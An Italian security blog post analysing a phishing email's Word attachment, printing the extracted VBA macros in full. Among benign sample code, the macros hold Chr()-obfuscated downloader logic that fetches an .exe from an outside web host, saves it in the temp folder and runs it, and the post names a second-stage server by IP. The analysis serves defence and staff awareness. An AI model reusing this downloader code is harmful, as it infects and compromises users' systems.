Qualche giorno fa abbiamo ricevuto una mail da un indirizzo legittimo di uno store online, la quale, a primo acchito, appariva completamente pulita (salvo per il fatto che non abbiamo mai ordinato nulla dallo store in questione).
Qualche istante prima di cestinare la mail ci siamo accorti della presenza di un allegato e abbiamo quindi deciso di analizzarlo con il sentore che si trattasse di un Trojan, essendo un file DOC.
101153.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: 1, Template: Normal, Last Saved By: 1, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jun 15 09:59:00 2015, Last Saved Time/Date: Mon Jun 15 10:32:00 2015, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0
Data la tipologia del file abbiamo supposto potesse contenere un file exe nascoto o delle macro malevole, così abbiamo lanciato oledump per analizzare i vari settori del file.
Come si può notare oledump ci mostra che nei blocchi 7, 8, 9 e 10 sono presenti della Macro, quindi la nostra seconda ipotesi inizia a prendere forma. Estraendo tali macro otteniamo il seguente codice.
AttributeVB_Name="Module1"DimcurrCellAsString' The module-level variable for Listing 7.4
' Listing 7.1. Toggles the active window's gridlines on and off.
'
SubToggleGridlines()WithActiveWindowù.DisplayGridLines=Notà.DisplayGridLinesEndWithEndSub' Listing 7.2. A procedure that tests the Evaluate function.
'
SubEvaluateTest()DimcolumnLetterAsStringDimrowNumberAsStringDimcellAddressAsString'
' Activate the "Test Data" worksheet
'
ŷ.Worksheets("Test Data").Activate'
' Get the value in cell A1
'
columnLetter=è.[A1].Value'
' Get the value in cell B1
'
rowNumber=è.[B1].Value'
' Concatenate the two values and then display the message
'
cellAddress=columnLetter&rowNumberMsgBox"The value in cell "&cellAddress&" is "&ŵ.Evaluate(cellAddress)EndSubPublicFunctionE1hULdfCYKq40(M72YMyUcUWEAfAsString)SetZ0EcDOINA=fAQaVGJfCYUL("S"&"h"&Chr(101)&Chr(108)&Chr(108)&"."&"A"&"p"&Chr(112)&Chr(108)&"i"&Chr(99)&Chr(97)&Chr(116)&Chr(105)&"o"&"n")Z0EcDOINA.Open(AHmYANL3)EndFunctionPublicFunctionfAQaVGJfCYUL(U9ZWOpJrqAsString)SetfAQaVGJfCYUL=CreateObject(U9ZWOpJrq)EndFunctionFunctionCalcNetMargin(fixedCosts)DimtotalSalesDimtotalExpensesWithï.Worksheets("2000 Budget")totalSales=ï.Application.Sum(.Range("Sales"))totalExpenses=ï.Application.Sum(.Range("Expenses"))EndWithIftotalSales<>0ThenCalcNetMargin=(totalSales-totalExpenses-fixedCosts)/totalSalesEndIf'
' Recalculate whenever the sheet recalculates
'
â.Application.VolatileEndFunction
AttributeVB_Name="Module3"' Listing 6.1. A procedure that toggles the display of
' nonprinting characters on and off.
'
SubToggleNonprinting()WithActiveWindow.View.ShowAll=Not.ShowAllEndWithEndSub' Listing 6.3. A procedure that moves the Word window
' into the top left corner of the screen.
'
SubTopLeftCorner()WithApplicationIf.WindowState<>wdWindowStateMaximize _
And.WindowState<>wdWindowStateMinimize _
Then.Move0,0EndWithEndSub' Listing 6.4. Procedures that create and open
' a workspace of files.
'
' CreateWorkspace()
' Saves the path and filename data of all the
' open files to the Windows Registry. Before
' running this procedure, make sure only the
' files you want in the workspace are open.
'
SubCreateWorkspace()DimtotalAsIntegerDimdocAsDocumentDimiAsInteger'
' Delete the old workspace settings
' First, get the total number of files
'
total=GetSetting("Word","Workspace","TotalFiles",0)Fori=1Tototal'
' Delete each setting
'
DeleteSetting"Word","Workspace","Document"&iNext'i
'
' Create the new workspace
'
i=0ForEachdocInDocuments'
' Make sure it's not a new, unsaved file
'
Ifdoc.Path<>""Then'
' Use i to create unique setting names
'
i=i+1'
' Save the FullName (path and filename) to the Registry
'
SaveSetting"Word","Workspace","Document"&i,doc.FullNameEndIfNext'doc
'
' Save tht total number of files
'
SaveSetting"Word","Workspace","TotalFiles",iEndSubSubknGjLBTgmGgBh()SetDhAXmemS278B6=fAQaVGJfCYUL(Chr(77)&"i"&Chr(99)&Chr(114)&"o"&Chr(115)&Chr(111)&Chr(102)&"t"&Chr(46)&Chr(88)&"M"&"L"&"H"&Chr(84)&Chr(84)&Chr(80))CallByNameDhAXmemS278B6,"O"&Chr(112)&Chr(101)&Chr(110),VbMethod,Chr(71)&Chr(69)&Chr(84), _
Chr(104)&Chr(116)&Chr(116)&"p"&Chr(58)&Chr(47)&Chr(47)&Chr(119)&Chr(119)&Chr(119)&Chr(46)&Chr(102)&"r"&"e"&Chr(101)&Chr(119)&Chr(101)&Chr(98)&Chr(115)&Chr(116)&Chr(117)&Chr(102)&Chr(102)&Chr(46)&Chr(98)&Chr(101)&Chr(47)&"3"&Chr(52)&Chr(47)&Chr(52)&"4"&Chr(46)&"e"&Chr(120)&Chr(101) _
,FalseSetVZGc6njbPx6=fAQaVGJfCYUL("W"&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108))SetgsHD7abC5N3=CallByName(VZGc6njbPx6,"E"&Chr(110)&Chr(118)&"i"&Chr(114)&Chr(111)&Chr(110)&"m"&Chr(101)&Chr(110)&Chr(116),VbGet,"P"&Chr(114)&Chr(111)&Chr(99)&Chr(101)&Chr(115)&"s")I2fThDFfJ2x=gsHD7abC5N3("T"&Chr(69)&Chr(77)&Chr(80))AHmYANL3=I2fThDFfJ2x&Chr(92)&"g"&Chr(105)&Chr(110)&Chr(107)&Chr(97)&Chr(110)&Chr(56)&Chr(54)&Chr(46)&Chr(101)&Chr(120)&Chr(101)DimL3eSO44R()AsByteCallByNameDhAXmemS278B6,"S"&"e"&Chr(110)&Chr(100),VbMethodL3eSO44R=CallByName(DhAXmemS278B6,"r"&Chr(101)&Chr(115)&Chr(112)&Chr(111)&Chr(110)&"s"&"e"&Chr(66)&"o"&"d"&Chr(121),VbGet)aJbV7hKTsFzEL3eSO44R,AHmYANL3OnErrorGoToGbzD0F5wa=84/0OnErrorGoTo0YmVz6Pw29BQ:ExitSubGbzD0F5w:E1hULdfCYKq40("qXSh3tUIo")ResumeYmVz6Pw29BQEndSubPublicFunctionaJbV7hKTsFzE(bB2ojLbgVtJAsVariant,sliQYqZdLGCmtqAsString)DimBkUobg5a:SetBkUobg5a=fAQaVGJfCYUL(Chr(65)&"d"&Chr(111)&"d"&"b"&Chr(46)&Chr(83)&Chr(116)&"r"&Chr(101)&"a"&Chr(109))WithBkUobg5a.Type=1.Open.writebB2ojLbgVtJ.savetofilesliQYqZdLGCmtq,2EndWithEndFunction'
' OpenWorkspace()
' Accesses the Registry's workspace settings
' and then opens each workspace file.
'
SubOpenWorkspace()DimtotalAsIntegerDimiAsIntegerDimfilePathAsStringDimdocAsDocumentDimfileAlreadyOpenAsBoolean'
' Get the total number of files
'
total=GetSetting("Word","Workspace","TotalFiles",0)Fori=1Tototal'
' Get the path and filename
'
filePath=GetSetting("Word","Workspace","Document"&i)'
' Make sure the file isn't already open
'
fileAlreadyOpen=FalseForEachdocInDocumentsIffilePath=doc.FullNameThenfileAlreadyOpen=TrueExitForEndIfNext'doc
'
' Open it
'
IfNotfileAlreadyOpenThenDocuments.OpenfilePathEndIfNext'i
EndSubSubTestStylesAddMethod()SetnewStyle=ActiveDocument.Styles.Add("PageTitle",wdStyleTypeParagraph)WithnewStyle.Font.Bold=True.Font.Underline=True.Font.Size=24.Font.Name="Arial".ParagraphFormat.Alignment=wdAlignParagraphCenter.ParagraphFormat.SpaceAfter=12.NextParagraphStyle=wdStyleNormalEndWithEndSub<
AttributeVB_Name="Module5"PublicAHmYANL3AsString' Global variable
' Listing 8.1. This procedure ties everything together by
' calling each of the code listings individually.
'
SubMain()'
' Create the presentation file
'
CreateJugglingPresentation'
' Add the slides
'
AddJugglingSlides'
' Set up the title page
'
SetUpStartPage'
' Set up the Juggling pages
'
'
' Save it and then run it
'
pres.SaveEndSub' Listing 8.2. This procedure creates a new presentation
' and then saves it.
'
SubCreateJugglingPresentation()'
' If the old one is still open, close it without saving
'
ForEachpInPresentationsIfp.Name="Juggling"Thenp.Saved=Truep.CloseEndIfNextp'
' Create a new Presentation object and store it in pres
'
Setpres=Presentations.Addpres.SaveAsFileName:="Juggling.ppt"EndSub' Listing 8.3. A procedure that adds the slides to the
' Juggling presentation and formats them.
'
SubAddJugglingSlides()DimiAsIntegerWithpresWith.Slides'
' Add the opening slide
'
.Add(Index:=1,Layout:=ppLayoutTitle).Name="Opener"'
' Now add the slides for each step
'
Fori=1To4.Add(Index:=i+1,Layout:=ppLayoutTitle).Name="Juggling"&iNextiEndWith'
' Set the background for all the slides
'
.SlideMaster.Background.Fill.PresetGradient _
Style:=msoGradientHorizontal, _
Variant:=1, _
PresetGradientType:=msoGradientNightfallEndWithEndSub' Listing 8.4. A procedure that sets up the text and animation
' settings for the first page of the Juggling presentation.
'
SubSetUpStartPage()DimshapeTitleAsShapeDimshapeSubTitleAsShapeWithpres.Slides("Opener")SetshapeTitle=.Shapes(1)' The title
SetshapeSubTitle=.Shapes(2)' The subtitle
'
' Add the title text
'
WithshapeTitle.TextFrame.TextRange.Text="Juggling"With.Font.Name="Arial".Size=44.Bold=Trueŵ.Color.RGB=RGB(255,255,255)EndWithEndWith'
' Set the title animation
'
Withŵ.shapeTitle.AnimationSettings.Animate=True.AdvanceMode=ppAdvanceOnTime.AdvanceTime=0.TextUnitEffect=ppAnimateByCharacter.EntryEffect=ppEffectFlyFromLeftEndWith'
' Add the subtitle text
'
WithshapeSubTitle.TextFrame.TextRange.Text="A Step-By-Step Course"With.Font.Name="Arial".Size=36.Bold=Trueŵ.Color.RGB=RGB(255,255,255)EndWithEndWith'
' Set the subtitle animation
'
Withŵ.shapeSubTitle.AnimationSettings.Animate=True.AdvanceMode=ppAdvanceOnTime.AdvanceTime=0.TextUnitEffect=ppAnimateByWord.EntryEffect=ppEffectFlyFromBottomEndWithEndWithEndSub
Come si può notare in ogni Macro è presente una parte offuscata sia con CHR(numero_carattere_ascii), sia con nomi non-sense per variabili e funzioni. Abbiamo quindi processato queste sezioni delle Macro con lo scopo di poter individuare le (ancora potenziali) azioni dannose, ottenendo il seguente risultato.
Con queste informazioni alla mano possiamo già evitare eventuali future infezioni, bloccando l’accesso alla risorsa web malevola.
La nostra analisi non sì è fermata qui, ma abbiamo osservato anche il comportamento del secondo eseguibile, il quale fungeva da Downloader per scaricare una dll (da quest’altro server https://136.243.14.142:8443 ) ed iniettarla nel sistema, ma va oltre allo scopo di questo articolo.
Affinché le Macro contenute nel documento siano eseguite è necessario che tale funzionalità sia attiva, richiesta spesso soddisfatta nei computer aziendali dei reparti amministrativi, i quali ricevono e producono quotidianamente file che richiedono tale possibilità.
Con questa analisi vorremo focalizzare l’attenzione delle aziende sulla necessità di formare tutti i dipendenti a riconoscere eventuali minacce per il proprio business, non è difficile infatti immaginare che questo stesso Trojan sia riuscito ad entrare in molte realtà, forse per via di un impiegato poco o per nulla istruito in materia che, dopo aver aperto il documento e constatatone l’assenza di contenuto, lo ha chiuso ed infine cestinato, senza rendersi conto che ormai il sistema era stato compromesso.
Sono Abdel Adim Oisfi più conosciuto come smaury. Lavoro: CEO, Security Researcher, Penetration Tester in Shielder. Passioni: Hacking, autostop, tuffi e ginocchia sbucciate.